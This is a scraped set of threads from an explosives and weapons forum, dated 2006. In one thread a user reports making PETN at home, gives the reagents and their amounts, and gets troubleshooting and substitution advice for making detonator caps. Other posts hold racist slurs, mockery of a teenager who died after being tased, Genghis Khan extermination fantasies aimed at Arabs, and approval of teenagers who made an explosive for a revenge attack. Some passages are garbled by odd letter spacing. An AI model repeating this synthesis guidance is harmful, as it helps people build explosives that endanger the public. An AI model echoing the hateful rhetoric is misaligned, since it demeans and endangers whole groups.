the water, when that naval gunfire disrupted the picnic. It was a bad look for the IDF, all the usual wailing Palestinians holding up bloody clothes and other trophies. These guys
are camera-wise now, and they got it in one take.
So this DIME was born out of the twisted logic of Gaza, where the IDF is trying to kill one or two guys wandering around the most overcrowded stinking ghetto on the planet.
Arabs at that, who can't stand to be more than an inch from anybody they're talking to.
So they had a dilemma to deal with: How do you kill Arab (A) without hurting Arab (B)? DIME, that's how! One minute they're all touching each other and yammering at 150
decibels, which is their way of chatting, and suddenly Arab (A) is as gone as Elijah, along with Arab (B)'s arm up to the elbow. But hey, the good part is that aside from that
little body-mod, Arab (B) comes out relatively ok. He's just going to have to favor the other arm when he plays ping-pong.
At this point a small smelly Asian guy in a sweaty sheepskin coat at the back of the DoD research-and-development briefing stands up and asks with a shy smile, "Excuse me
please, should one not also kill Arab (B) rather than leave him alive to avenge his friend's death? Should one not kill all the children of this beach picnicker rather than let them
grow up dreaming of avenging their father?"
And the 6'5" Lt. Col. running the briefing starts to laugh at this amateur till his aide whispers, "Umm, sir, that's Genghis Khan. So we better treat it like a serious question!"
So the Col. clears his throat and says, "Well Mister Khan sir, that's a real good question and it all has to do with collateral damage, and, um, well, what would YOU do with
Gaza?"
Genghis just smiles shyly again and winks, and suddenly everybody in the room sees the same vision: an empty beach, with the camera zooming back to show an empty
Middle East, a gigantic Mongol hunting preserve, with only the hawks and other large birds of prey kept as decoration.
Could've happened, too, if the damn Knights of Old had had the sense to ally themselves to the Mongols against the Saracens. The Mongols offered that deal to the Crusading
Knights in the mid-13th century. The Mongols were annoyed with the Muslims, and when the Mongols were annoyed, heads didn't just roll, they got hacked off and stacked
up, in big piles the size of small hills. The Mongols, who were very polite folks, offered the Crusaders the chance to crush the Muslims in a pincer movement. But no, those
medieval chivalrous idiots, the dumbest generals ever with the exception of all commanders of the Army of the Potomac pre-Meade, decided to buddy up with their worst
enemies the Saracens instead. The Mongols were thrown back, and here we are, stuck with a billion Muslims yelling all the time and blowing themselves up and sending their
little heads bouncing into the street like rock'em-sock'em boxer toys. Thanks, Knights.
As you can probably tell, I'm getting real sick of this Lord of the Rings crap, this medieval warfare thing. Medieval European armies were crap. Russia alone had as many men
in arms as the rest of Europe combined, and even the Russians collapsed when the Mongols, the first TRUE world superpower, arrived.
But no, all the fools love them knights and their lame swords.
One of the sad fat secretaries in my office is always reading these fantasy novels about knights who save ladies -- and judging by the cover pictures, these ladies always
weigh about 100 pounds less than the actual ladies who read about them. The knights on the covers look like steroid casualties with these weird girly clean-cut faces, and
they're always standing by a tree chatting to the skinny fantasy lady. I don't know what brought all this on, those Lord of the Rings movies or what, but it's gotta stop. Maybe
we could have deprogramming centers for fat sad secretaries, introduce them to the actual world of medieval warfare. A world of shit everywhere, for starters.
Reminds me of one of the most intelligent rhymes at my elementary school, that actually taught you the truth about those times:
In days of old when knights were bold
And toilets weren't invented
They left their load beside the road
And went away contented.
Those knights would've stank up the castle from miles away. Damsel leans out the tower window, "Ah, Sir Dweebus returneth at last! I estimate him to be -- sniff, sniff -- no
more than twenty leagues off, my ladies, for the stench hath not yet made me puke my entrails! O sweet shit-breeze of love!"
And as for protecting the weak and charming the ladies, come off it! Those knights were Hell's Angels with horses instead of Harleys and those stupid swords of theirs were just
sharpened tire irons they smashed through the heads of anybody who didn't kiss their stinking asses. They were drunk all day and even meaner when they were hungover.
They raped every girl they could catch, sold widows and orphans to the Turks, and never spared a single prisoner unless he looked rich enough to be ransomed.
And they had no loyalty, not even to their religion. Just ask the Byzantines about that. Constantinople found out what it was like being visited by the knights of old in 1204.
Those wonderful chivalrous knights needed a ride to the Holy Land and the Venetians offered to drop them off if they'd do a little favor: burning Venice's trade rival,
Constantinople, and killing and raping everyone in it.
"Nooooo problemo," said the valiant knights, and in a few weeks Constantinople, a Christian city that had held off the Muslim hordes for centuries, was a smoking ruin.
So don't tell me about chivalry. Those knights weren't even any good militarily. Look what happened when they faced a real military force, the Mongols, a few decades after
beating up on poor Constantinople. The knights were a joke to the Mongols, like big slow hay bales tied onto gigantic slow plow-horses. The Mongol archers on their little
ponies played with those suckers like a gang of Filipinos with switchblades cutting up a suburban high-school football team in full pads. Bunch of Vanilla-Ice idiots stumbling
around trying to throw body blocks on a flick-knife: "Gee coach, I can't see so good with all this blood in my eyes!"
After a few minutes up against the Mongols, those 13th-c. knights had enough arrow-feathers sticking out of them to fly away, except they were too deceased to flap their
arms. Thousands of El Cid galloping around -- dead guys still in the saddle.
The only army in Europe to give the Mongols any trouble was the Hungarian, and that's because the Hungarians didn't fight like Europeans. The Magyar started out as steppe
nomads too, mounted archers who'd only settled in the Hungarian plain for a few generations. At Mohi they fought the Mongols to a draw for hours before the sheer size and
momentum of the Mongol multi-ethnic steamroller took them down.
If civilization ever does break down and we go back to fighting medieval-style, put your money on mounted archers using compound bows vs. just about any other figuration
in military history. And don't believe any hype about "chivalry." First person who uses that word to you, kill'em, preferably with a nice sneaky back-stab. That's what the
knights, the real knights, would've done.
He seems to get some of the details wrong and then sort of goes off into a bit of a rant - but then again that is how War Nerd is. Anyway I know NBK reads Bruces's blog but I
don't know if he reads War Nerd. It's interesting to see something about DIME but I suspect Gary just got it right off of globalsecurity and isn't reading patents like we do. But
then again he is not making weapons either....
thermobaric November 2nd, 2006, 02:01 AM

Israel has apparently been testing these out in Gaza and Lebanon during the past year.Hospitals there are seeing bodies with fine metal dust embedded under the skin
consistent with the effects of DIME. The DefenseTech article on DIME shows a tank flipped on its side from one of these,quite poweful.http://www.defensetech.org/archives/
002434.html

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Can you identify this explosive??
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Red Beret October 30th, 2006, 05:57 AM

On mythbusters, they were testing the exploding pants myth which originated in New Zealand in the 1930's. They eventually settled on potassium chlorate being responsible for
the myth.
Thats beside the point, afterwards they wanted to detonate the pants on buster. The FBI explosives expert used a "special purpose" explosive that was silver and liquid. I
assume the silver was aluminium powder, but what was the explosive? It really did detonate, maybe it was aluminised PETN with a solvent? They painted it on the overalls and
let it dry before detonating. It wasn't a terribly thick coat of the explosive paint either
It was really cool and I would like to try and make some. Does anyone know what it was? The only thing I can really think of is the PETN based type. Some other things might
have trouble detonating due to critical diameter and such. Except RDX and the like.
Thanks.
Bugger October 30th, 2006, 05:16 PM

Actually it was sodium chlorate. It was still being used an an herbicide to kill grassy weeds as late as the 1950s and 1960s, as I recall, applied as both the straight powder and
in solution as a spray (although it is not very soluble). It was used extensively in this part of New Zealand to kill kikuyu, a highly invasive bright-green creeping grass with
underground rhizomes (like Australian buffalo grass and carpet grass, but much worse) imported from southern Africa as stock food, although it was since found that its
nutritional value is poor compared to other grasses.
Jacks Complete October 31st, 2006, 06:06 AM

AFAIK, Sodium Chlorate weedkiller is still freely (well, ok, you shouldn't shoplift - YMMV) available in the UK from garden centers. I use it on my front garden as a cheap and
fairly effective, if not ever-lasting, path clearing agent.
Red Beret November 1st, 2006, 06:43 AM

Yeah sorry, it was the sodium salt. It's funny, sodium chlorate has never been available easily in recent memory, not in Oz anyhow. Its so fucked here, you can't have AN but
you can store less than 7 litres of chloropicrin without a permit, no shit!! Farmers use it to gas rabbits.
What if some nut explodes a gas truck in front of a packed building, what will they do? Ban gas trucks of course!!...dunno why but this place really shits me.
Lewis November 1st, 2006, 07:25 PM

Bugger: He was asking what explosive myth busters used for the finale, after they were done screwing around with sodium chlorate.
I wondered this myself. Aluminum is a likely candidate for the silver colour now that I think about it. My first thought was that it was some silver compound, but that's doubtful.
wymanthescienceman November 4th, 2006, 01:00 AM

I too would like to know what that compound is that they were using. The referred to it as "Magic Silver" and it has a detonation velocity of over 21,000fps (6400m/s). I ruled
out that it must not have been NG for obvious reasons, they only had gloves for protection and I'd imagine they'd have had very bad headaches soon after. Plus they were
applying it to the overalls with hands and a broom head. It could have been heavily desensitized, that may also drop the VOD of NG from 7700m/s. I really have no idea and it
really got me intrigued. I agree that the silver has to be from bright flake Al as it is super bright silver, like silver paint. I was thinking it could also be MEKP, as that is the only
other liquid explosive I can think of right now, though it would stink to high heaven. I really want to know what this stuff is, it could have many potential uses. I have done
numerous Googles to no avail.
Cobalt.45 November 4th, 2006, 11:12 AM

How about nitrocellulose lacquer/Al applied with a paint brush or broom head?
Lewis November 4th, 2006, 02:11 PM

How about nitrocellulose lacquer/Al applied with a paint brush or broom head?
If you'd seen the episode you'd know that it was no NC lacquer. They painted a thin layer on the test dummy's overalls and it blew him into like 15 pieces over a 20 meter
radius.
Red Beret November 4th, 2006, 06:07 PM

Yes it was VERY powerful stuff thats why I thought it was PETN based.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Not-so-non-lethal?
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Nihilist October 31st, 2006, 03:42 PM

http://www.breitbart.com /news/2006/10/31/D8L3L5G83.htm l
1 5 6 d e a t h s f r o m a s u p p o s e d l y " n o n - l e thal" weapon. If that man y people have died, how m any now have serious health
p r o b l e m s from it?
Hirudinea October 31st, 2006, 05:59 PM

1 5 6 d e a t h s f r o m a s u p p o s e d l y " n o n - l e thal" weapon.
I believe the prefered term is "Less Le thal" now.
If th a t m a n y p e o p l e h a v e d i e d , h o w m a n y n o w h a v e s e r i o u s h e a lth problem s from it?
I would doub t any, the people who died from stun guns probably died from heart problems, and if they suvive the stun gun
then they were healthy and hence would have no after effects. Anyway I'ed much rather be shot with a stun gun than a real
gun, you want to talk about le thal, now a gun is lethal!
nbk2000 October 31st, 2006, 07:56 PM

Police Stun Gun Kills Teen With Bible
Oct 31 8:42 AM US/Eastern
A teenager carrying a Bible an d shouting "I want Jesus" was shot twice with a police stun gun and later died at a St. Louis
hospital, authorities said.
I n a s t a t e m e n t o b t a i n e d T u e s d a y b y T he Associated Press, police in Jerseyville, about 40 miles no rth of St. Louis, said 17-
y e a r - o l d R o g er Holyfield would not acknowledge officers who approached him and he continued yelling, "I want Jesus."
Police tried to calm the teen, but Holyfield became combative, according to the statem ent. O fficers fired the stun gun at him
after he igno red their warnings, then fired again when he continued strug gling, police said.
Holyfield was flown to St. Louis' Cardinal Glennon Hospital after the confrontation Saturday; he died there Sunday, police said.
An autopsy was planned for Tuesday.
T h e s t a t e m e n t e x p r e s s e d s y m pathy to Holyfield's family but said city and police officials would not discuss the matter further.
C a l l s T u e s d a y to Jerseyville Police Chief Brad Blackorby were not imm ediately returned. The department ha s b e e n u s i n g s t u n
guns for about five m onths, according to the statem ent.
In a report released in March, international human rights group Am n e s t y I n t e r n a t i o n a l s a i d i t h a d l o g g e d a t l e a s t 1 5 6 d e a t h s

across the country in the previous five years related to police stun guns.
T h e r i s e i n d e a t h s a c c o m p a n i e s a m arked increase in the num ber of U .S. law enforcem ent agencie s e m p l o y i n g d e v i c e s m a d e
by T aser International Inc. of Scottsdale, Ariz. About 1,000 of the nation's 18,000 police a g e n c i e s u s e d T a s e r s i n 2 0 0 1 ; m ore
than 7,000 d epartments had them last year, according to a government study.
P o l i c e h a d u s e d T a s e r s m o r e t h a n 7 0 , 0 0 0 t i m e s a s o f l a s t y e a r , C o n g r e s s ' G o v e r n m ent Accountability O ffice said.
Am nesty International has urged police departm e n t s t o s u s p e n d t h e u s e o f T a s e r s p e n d i n g m ore study. Taser International
said the group's coun t was flawed and falsely linked deaths to Taser use when there has been no such official conclusion.
The city of St. Louis also drew unwante d attention for crime this week when it was named the m ost dangero us U.S. city by
Morgan Quitno Press. The ranking looked only at crim e within St. Louis city lim its, not its metro area.
I can tell just by the nam e that it was a negro that got blasted. :)
The poor cops are going to get sued for giving the negro what he wanted ...an express ticket to Jesus! :D
megalomania Novem ber 1st, 2006, 03:14 AM

W ell, if there was ever a cas e of beware what you wish f o r this is it! Th is is a public relations disaster for the cops. They
m urdered a poor innocent Christan boy, the bible still clutched in his twitching fingers.
This post was m a d e t o t h e S t . L o u i s S t r e e t R a c i n g F o r u m a f t e r the incident by s o m e o n e who is allegedly a fam ily m e m b e r
Police killed m y cousin and I need a lawyer

I don't know if this is the right place but I know almost everyone frequen ts the OT more than anything else...
Last night my cousin (Roger Holyfield, 17) was in Jerseyville and got tazed six (6) tim es, causing his heart to stop. This lead to
his brain swe lling, and hes at C ardinal Glennon Hospital right now.
They are doing tests to find out if he is brain dead, which was the doctors m edical opinion. The ****ing police killed m y cousin
for no ****ing reason.
If any of you knew my cousin they knew he was a ****ed up individual but he wa s just ge tting back on his feet. He, or anyo n e
for that matter, does not deserve this.
I f a n y o n e k n ows of a GOO D lawyer to be used to sue th e s e 6 m o t h e r * * * *ers I would appreciate if you would share your
knowledge with me, as m y f a m i l y n e e d s o n e s o o n .
I honestly don't even know what kind of lawyer to get for a situation like this....
EDIT: Oh, and from what we u nderstand he was sitting on a curb at Sonic, holding a Bible and kept repeating "I love Jesus, I
love m y m om." over and over. He was tazed after being handcuffed for soliciting.
The doctor said if he m akes it through at best he would be a vegtable for the rest of his life...
The news says he got tased twice, this guy says six tim es... I would be inclined to believe six zaps would be far m ore likely to
stop your heart than two. The lawsuit begins :)
sparkchaser Novem ber 1st, 2006, 05:19 AM

But how man y zaps does it take for your brain to swell? I don't think that a stungun would do that unless he was hit in the
h e a d . M a y b e there's another underlyin g problem ? If he was sitting at a curb at sonic repeating "I love Jesus, I love my mom "
over and over,.... I don't know, sounds kinda fishy to m e. And a fter they handcuffed him did he get violent, warrenting the
taze ? T o o l i t t l e s e c o n d h a n d i n f o h e r e t o m a k e j u d g e m e n t s , o r s u p p o s i t i o n s a b o u t t a z e r s .
Red Beret Novem ber 1st, 2006, 07:00 AM

There's always two sides to a story, seriously, if som e dude is sitting there saying "I love jesus, I love my mum ", on the street,
s o m ething aint right.
And as for, "non-lethal" it's (a s was said) now "Less Lethal". Pepper spray could kill you if you had an allergic reaction to it.
The police here are soon to start using the X-26 TASER. Should be intere sting, wonder if a n underground m arket will start for
them.
The Noid Novem ber 1st, 2006, 12:58 PM

I ' v e s e e n s e v e r a l s t u d i e s o n s t u n g u n s a n d o t h er less than lethal weapons. It seems now that police are very interested in
pain tball style weaponry. One new round is essentially a paintball case filled with pepper spray and another round filled with a
chemical that stinks like no other. From what I've read the "stink balls" are pretty effective. I know the police around my
location are going to test out the stink ball in the next year, or atleast th at's what I've been told. We had an incident here in
the city involving a tasering gone wrong and they are looking for better ways to deter suspects.
the_twitchy1 Novem b e r 2 n d , 2 0 0 6 , 0 8 : 3 7 P M
Anything, applied incorrectly or unluckily, can be lethal. A paintball in the throat can kill in som e i n s t a n c e s . I ' v e e v e n s e e n
stories in the news of a kid dying because he was hit in the chest with a baseball. Not the bat, the ball. W ould you class a
baseball as a lethal weapon?
S e m antics are used by people to change how you feel about things. "Non-lethal' m a k e s y o u f e e l c o m f y a n d s a f e b e cause the
police are no w using weapons that won 't kill you... so even if you get into trouble you won't get killed. "Less lethal" doesn't
have the same ring.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > My PETN Synth....
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Red Beret November 1st, 2006, 06:36 AM

Well This evening I made some PETN :cool: , first time for me. I' looking forward to trying it. I used wantsomefet's method from ages ago. It's the H2SO4 and KNO3 method. I
will let it sit overnight and filter in the morning.
I have lumps of KNO3 on the surface that won't dissolve, what is the best way to deal with this? I am thinking either; leave it and most will dissolve when I filter the PETN, or,
carefully scoop them off before I filter the solution. It fucking shits me because the PE dissolve beautifully. I added the KNO3 over about one hour, its hydroponic grade,
supposed to be highly soluable.
Anyway, what should I do with my new material? I'm making a few caps, but the rest.....I may do some metal cutting, and I'll see if my mate will bring his camera along. Any
tips on the lumps of KNO3 would be greatly appreciated.
Isn't it great when you make something for the first time? Especially when it's super powerfull. The last time I felt like this was back in '98 when I did my first crude batch of
blackpowder, hand milled. Ahh, simpler times...I feel all nostalgic now! :D
Cindor November 1st, 2006, 12:52 PM

Maybe your KNO3 is coated, so try to wash it with MeOH or EtOH and then dissolve it with water and filtrate it, then you have to recrystallize the KNO3.
Red Beret November 1st, 2006, 05:02 PM

Thanks, the whole mix is now a thicks sludge, so I can't see the KNO3 anymore. The amount left there shouldn't matter a great deal now, given the amount of PETN.
Cindor November 1st, 2006, 06:10 PM

To avoid the "thick sludge" you should use Ammonium Nitrate instead of Potassium Nitrate, since the Ammonium salts are more soluble than Potassium salts.
Red Beret November 2nd, 2006, 01:28 AM

Thanks for the advice on the Ammonium salt.
I think I really fucked this up! When I filtered this thick sludge it got very hot and ate through the filter, then when I had finally diluted the mess enough by adding an excess of
water I filtered it through some cloth. The filtrate dosent look like PETN it feels like sodium bicarbonate, and didn't go off from a hammer blow while damp. But it must be PETN
as it couldn't have gone anywhere else. There was nothing in the liquid that passed through the filter and the material that was lost when the acid dissolved the filter was
minimal. I could see the PETN in the bucket whilst pouring it through the filter.
I always thought PETN should look crystaline? I'll hit it with an AP cap and see what happens.
nbk2000 November 2nd, 2006, 04:15 AM

Most explosives have various forms, some crytstalline, others pulverant powders/granules.
If you've PETN, and it's not crystalline, it is because you haven't crystallized it yet. ;)
Red Beret November 2nd, 2006, 04:31 AM

Thanks Nbk, I won't do anything else with it though, as I can't afford to lose any product.
It's sorta wierd like cornstarch with water, emulsified. As I said, I'll hit it with a cap, and see how I go.
akinrog November 2nd, 2006, 09:07 AM

Thanks for the advice on the Ammonium salt.
I think I really fucked this up! When I filtered this thick sludge it got very hot and ate through the filter, ....
The symptoms seem that the sludge still has concentrated Sulfuric acid in it. Concentrated sulfuric acid is famous in eating cellulose-based things easily. If you let a few drops
of battery acid on linen cloths it simply leaves holes on the contact surface.
Are you sure you have calculated the amounts/ratios correctly? Regards.
Red Beret November 2nd, 2006, 09:04 PM

Here's what I am using:
500ml of 98% H2SO4
200g KNO3
50g Pentaerythritol
It's an older method, by wantsomefet. To me, it seems like too much KNO3? As I said, it dosen't all dissolve, and in a hour or so, you end up with a thick slurry. It's very
difficult to filter, and burns through most filters. The only way I could filter it was to dilute the slurry in a couple of litres of water and bicarb, let it cool, and the pour through the
filter. Pretty messy and I think you lose some product.
What could I do to "fine tune" this? I think 150g KNO3 or NH4NO3 would be sufficient. All help/advice would be greatly appreciated. Perhaps a different approach to the whole
procedure?
Red Beret November 4th, 2006, 09:18 PM

I've dried the PETN. Seems a little "insensitive". Hammer blows on a concrete surface won't set it off. I'll wait till I try an AP cap before I start worrying though. It may not be
totally dry, especially if it is still slightly acidic.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Los Alam os Prim er
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thermobaric Novem ber 3rd, 2006, 10:49 PM

Don't know if this has been posted before but heres the original Los Alamos Primer lectures.The first data publicly a vailable
detailing asp ects of n uclear weapons in 1943.http://upload.wikimedia.org/wikipedia/comm ons/9/9c/Los_Alamos_Prim er.pdf

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Kids Use AP for Re venge Attack
in Australia
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fiknet Novem ber 5th, 2006, 10:09 AM

Just saw this on news.com.au
http://www.news.com .au/story/0,23599,20704359-421,00.htm l
I t h a p p e n e d q u i t e a w h i l e a g o ( S e p t e m ber 17 last year) but still that is all we need in Aus, more attention to our illegal hobby
from the media and as usual did the job in hyping it up by including the usual "Mother of Satan", found instructions on the
internet, built for less than 30$ and extra points for linking them with terrorism:rolleyes:
One of the children kept video footage of the collapsing Twin Towers on his high school email account, the court was told.
Another used the online alias Osama and admitted to police his interest in the global jihad leader Osama bin Laden.

This happened in my city? I never saw a thing in the paper, usually this is blown way out of proportion.
I'm probably worse than those kids as far as terrorism goes, with heaps of videos relating to terrorism laws and 9/11 attacks
which I downloaded researching the controlled dem olitio n o f t h e W T C .
And now for the bit I found m o s t h u m orous :D.

T h e t e e n a g e r , n o w 1 6 , p l e a d e d guilty to five co unts including reckless conduct endangering life, recklessly cause serious injury
a n d m a k i n g a n e x p l o sive substance without an excuse.
W hat a law! :rolleyes:
nbk2000 Novem ber 6th, 2006, 02:22 AM

A n e x c u s e i s s o m e t h i n g y o u u se to explain away otherwise unacceptable behaviour.
A reason is why you did something, regardless of legality or m orals, so that's what the punks had...a reaso n.
May not have made sense to the court, but it d id to them at the tim e , a n d f o r a g i r l t o d i s p a r a g e a y o u n g m a n s m a sculinity is
reason enough, I'd say.
Used to be you'd just slap the bitch for bad mo uthing you, and if her fam ily stood up, duel with them for your honor. Now you
have to resort to other m ethods to get justice since the 'law' is n othing but a tool of class oppression by the existing rulers.
inventorgp Novem ber 6th, 2006, 05:18 AM

The explosive, the ingredients for which the Sunday Herald Sun sourced for less than $30, is m ore volatile that TNT and its
m anufacture and use in Victoria is illegal. O h! how m ore powerfu l it is.
"I don't regard it as a prank, I regard it as calculated, p rem editated and dangerous." Terrorists! Ahhh!
"It's nothing to be proud of, to have other stud ents at a school scared of you," th e m agistrate said. W hat?
I m ean this is complete and utter balo ney! Who cares is som e d u m b k i d m a d e a s m a l l b a t c h o f A P . I t d o e s n t m a k e t h e m a
terrorist, it m akes them a k3\/\/l. Forty years or so (depending where you live blah, blah, etc.) ago you'd g et a "slap on the
wrist" so to speak (or the cane).
Nihilist Novem ber 6th, 2006, 07:16 AM

"Potentially deadly". W hat a fucked up phrase. Journalists should be barred from using hypotheticals of any kind. ANYTHING is
potentially deadly. Given that his 'bom b' didn't hurt anyone, he clearly didn't intend for it to be 'deadly'.
"One of the children kept vide o footage of the collapsing Twin Towers on his high school e mail account, the court was told.
Another used the online alias Osama and admitted to police his interest in the global jihad leader Osama bin Laden."
Now that is just fucked. W ho *wouldn't* be curious about OBL? He's an interesting guy. And keeping video footage of the twin
towers "in his em ail a ccount"? That m e a n s s o m e o n e e m a i l e d i t t o h i m a n d h e n e v e r d e l e t e d t h e m e s s a g e .
Clearly, this kid is a terrorist in the ma k i n g .
Bad journalism really should be punishable by death. I fucking hate these idiots that spout this bu llshit. An d t h e s h e e p e a t i t
up like chocolate covered crack.
Jacks Complete Novem ber 6th, 2006, 09:35 PM

Of course, th ey were dum b . I f t h e y h a d m a d e t h e b o m b and pla nted it in her locker with a disc containing the PMJB, and
forwarded the Twin Towers em ail, then reported her...

A n e x c u s e i s s o m e t h i n g y o u u se to explain away otherwise unacceptable behaviour.
A reason is why you did something, regardless of legality or m orals, so that's what the punks had...a reaso n.
Just looking up in m y dictionary I found that excuse doesnt mean quite what Ive been taught :o, as I always thought it was a
reason after the event that is a lie and used to cover your tracks.
Has anyone else thought it is this?

a d e f e n s e o f s o m e o f f e n s i v e b e h a v i o r o r s o m e f a i l u r e t o k e e p a promise etc.; "he kept finding excuses to stay"; "every day
he had a new alibi for not getting a job"; "his transparent self-ju stification was unacceptab le"
G o o g l e s e e m s to have only one definition on m y side. 'http://www.google.com /se arch?
hl=en&lr=&safe=off&defl=en&q=define:excuse&sa=X&oi=glossary_definition&ct=title'
Spell check seems to pick up a few m istakes coming from a dictionary website (defense, behavior), :p how ironic.
Jacks Complete Novem ber 7th, 2006, 08:58 AM

Spell check seems to pick up a few m istakes coming from a dictionary website (defense, behavior), how ironic.UK vs. US
spellings, is all.

In jurisprudence, an excuse is a defense in which a defendant argues that he or she was not liable for his or her actions at the
tim e a law was broken and thus he or she should not be held lia ble for a crime.
Excuses include diminished responsibility, duress, infancy, insanity, involuntary intoxication, m istake, provocation, and
unconsciousness.
en.wikipedia.org/wiki/Excuse
The only definiton that m atters is the one that the court deciding your fate uses.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Monkeys are 6 times stronger than men
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Jacks Complete November 7th, 2006, 08:52 AM

Strange but true.
From New Scientist paper edition, 3rd of June 2006, letters page:
Mighty Chimps
From Simon Brinstngl
The article on agression in chimpanzees decribes how adult chimps attacked and overpoewred humans with ease (6 May, p.14). I have read that chimps can be 6 times
stronger than humans, though I am unclear what exactly is meant by the quatinifcation: is it weight-for-weight, for example? Are they bigger, more muscular, fitter, or is there
something intrinsically different about their muscles?
Given teh similarity of our genomes it would be interesting if small changes in genes or how they are expressed could create such a difference.
The editor replies:

Chimpanzees are different from humans in several obvious ways, one of which is their sheer physical strength. But why are they so much stronger than us?
The answer is not just greater muscle bulk. It is also to do with that fact that their muscles work five to seven times more effeicently than ours. Studies of human and other
primates' jaw mascules show that our muscle fibres are far smaller and weaker than those of our cousins - roughly one-eighth the size of those seen in macaques, for
example.
The reason for this remains poorly understood, but one contributing factor is in the genes that encode myosin, the protein from which muscle fibres are made. Comparision of
human and ape sequences for a myosin gene called MYH16 show that all humans have a mutant version of this gene. Some have even creditied the more diminutive muscles
in human jaws for our larger intelligence. One theory says that these smaller muscles gave our skulls more room to grow rounder, allowing for a bigger brain cavity.
Now, this raises an few interesting ideas. The most obvious one is for someone to have a go at using (fairly basic) gene therapy on someone with a muscle wasting disease,
and setting them up with the "normal" MYH16 gene. If it doesn't kill them dead, but gives them the ability to lift trucks, then we are in with a good chance of being able to
take a shot in the arm that leaves us 6 times stronger!
Now, logically, this could have some issues, such as snapping your own bones due to the added power you can apply, and tendons, etc. would also have issues. However, I
think this would be mitigated by the effects of the new gene only causing new muscle built after the therapy to be more powerful. This would mean that huge body builders
would not be able to be nearly as strong as those who were skinny to start with, and then worked out.
If this were true, then the rest of the body would have time to adapt itself to the new stresses being applied, and, for instance, your bones would lay down more caluim and
become slowly stronger, as your strength increases.
The risks? This treatment might kill you dead, and even if not, it shouldn't be used under the age of 25, when everything has stopped growing. If it changed heart muscle, you
might have heart issues, but that is a different type of muscle, so it might not be an issue.
If it was something you simply had to learn to live with, I'd certainly go for it, though. Even just double my strength would be a neat trick. And the upper limit? Well,
orangutans don't work out much, but there are reported cases of them picking up fallen trees one handed!
Any biologists out there?
Nihilist November 8th, 2006, 02:35 AM

Growth hormone injections would probably solve the issue of bones/tendons snapping. GH tends to be extremely good at increasing the size/density of bones and tendons.
Though it's extremely expensive.
sdjsdj November 14th, 2006, 09:47 AM

In that case, you would really want to go for the treatment as early in life as possible; excess HGH is not, generally speaking, a good thing if you've stopped growing.
On the other hand, growth hormones early in life tend to leave you about 7ft tall and prey to falls, immune deficiencies, anemia, and a whole range of other difficulties
irrelevent to someone of normal size. Personally, I think we have a long way to go before anything like this sort of genetic enhancement is anything like practical, let alone
widely available.
sparkchaser November 15th, 2006, 07:28 AM

Retrovirus manipulation and injection is currently our main means for gene therapy. I'm not sure how well a retrovirus would be able to "attack" a muscle cell.
Even after the muscle cell was injected with the mutated genes, it would only be able to replicate the gene through division (working out/strength training).
Basically, I think it would be about the same as taking an anabolic steroid, but would require fewer injections and the effect would be permanent.
In the case of muscle wasting disease, if the disease was still present, muscles would still waste, regardless of size.
One thing to consider is; the difference between burst strength and prolonged use strength. A long distance runner would not want oversized muscles which weigh more and
use energy less efficiently. If you notice, monkeys/apes tend to rest/sleep more than we do, could it be because of less efficient energy use?
Match November 15th, 2006, 04:54 PM

The myostatin gyne controls muscle growth, you turn that off and you're muscles don't stop growing, ever. I have seen a infant with a myostatin gyne mutation that resembled
a body builder.
The body building supplement industry is trying desperately to find a selective myostatin gyne inhibitor. In 2001 a researcher created a 'mighty mouse' by injecting certain
inhibitors, the results were mice twice as strong as normal. There is also a myostatin antibody called 'MYO-029' which is undergoing human testing right now. It is also believe
to be a potential cure for diseases such as muscular dystrophy and diabetes.
Punch myostatin into google and you get numerous scam sites trying to sell it to bodybuilders.
'http://www.pathguy.com/lectures/myostatin_deficient_cow.jpg'
'http://www.mdausa.org/publications/images/q12-5_myostatin_mice.jpg'
sparkchaser November 17th, 2006, 11:33 AM

MYH16 is only a masticatory (chewing) muscle gene. To get a full body experience, you would need to find an agonist for all myosin producing genes. The only problem with
this is that studies have shown a direct corelation between myosin and fast twitch muscle fibers.
Fast twitch muscle contains a much higher percentage of myocin (an enzyme)than slow twitch fibers. You would be more powerful and faster, but for a shorter amount of time.
It also seems like you would be at a much higher risk for heart touble.
The results of kinase assays performed on the fibers showed that MLCK activity levels paralleled the MLCK mRNA levels found in each of the three types of skeletal muscle
fibers studied. Fast- twitch oxidative glycolytic (gastrocnemius red) and slow-twitch oxidative (soleus) exhibited 60 and 13%, respectively, of the enzymatic activity present in
fast-twitch glycolytic (gastrocnemius white) fibers.
MLCK= Muscular Myosin Light Chain Kinase
As far as gene therapy goes (I'm paraphrasing at best), of the mutated genes (myosin heavy chain-B isoform of Xenopus nonmuscle myosin) that were injected into humans,
chickens, and frogs, only the frogs contained the genes in skeletal muscle (mutated genes were found throughout the body in fact). Chickens and humans, on the other hand,
contained the genes in most other esential organs, but not in skeletal muscles.
It really doesn't sound overly promising right now.
Jacks Complete November 18th, 2006, 12:47 PM

sparkchaser, very useful.
However, correct me if wrong, but isn't the smooth muscle of the heart a completely different thing to the other muscle fibres in the body?
I think that the issue with targetting the muscles is a good one, because if it had a halflife of (say) 4 hours, you could dope up on it before your workout, then any damaged
muscles would repair using the new gene, whilst the muscles you didn't want to target would be fine. This would reduce the risk of heart issues or system failure, purely due to
you taking care when training, to only target the muscles you wanted to boost.
I bet the US (or any) army would flip for this. "Solider boosts" is right out of the comicbooks. ;-)
akinrog November 18th, 2006, 03:00 PM

I bet the US (or any) army would flip for this. "Solider boosts" is right out of the comicbooks. ;-)
Actually this type of mucle / workout boost is available. It's the creatine. The researches indicate that during a workout the muscles burn a few grams of creatine and if you
supplement creatine before working out, then you may work longer thereby increase muscle mass faster.
I researched about the issue (i.e. synthesis of creatine). However the raw materials are dangerous and noxious substances. :(
Jacks Complete November 20th, 2006, 08:56 PM

Muscles: Don't use them, don't lose them
* 02 September 2006
* From New Scientist Print Edition. Subscribe and get 4 free issues.
* Caroline Williams
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Six years ago a baby born in Germany surprised everyone. At birth he had double the muscle mass of a normal baby and virtually no fat. By the age of five he could hold a 3-
kilogram weight in each hand with his arms stretched out to the side.
His doctor was impressed enough to call in Markus Schuelke, a paediatrician at Charit University Medical Centre in Berlin. Schuelke discovered that the boy had a mutation in
both copies of the gene coding for the muscle growth inhibitor myostatin. The boy's mother, a former professional sprinter, turned out to have a mutation in one copy of the
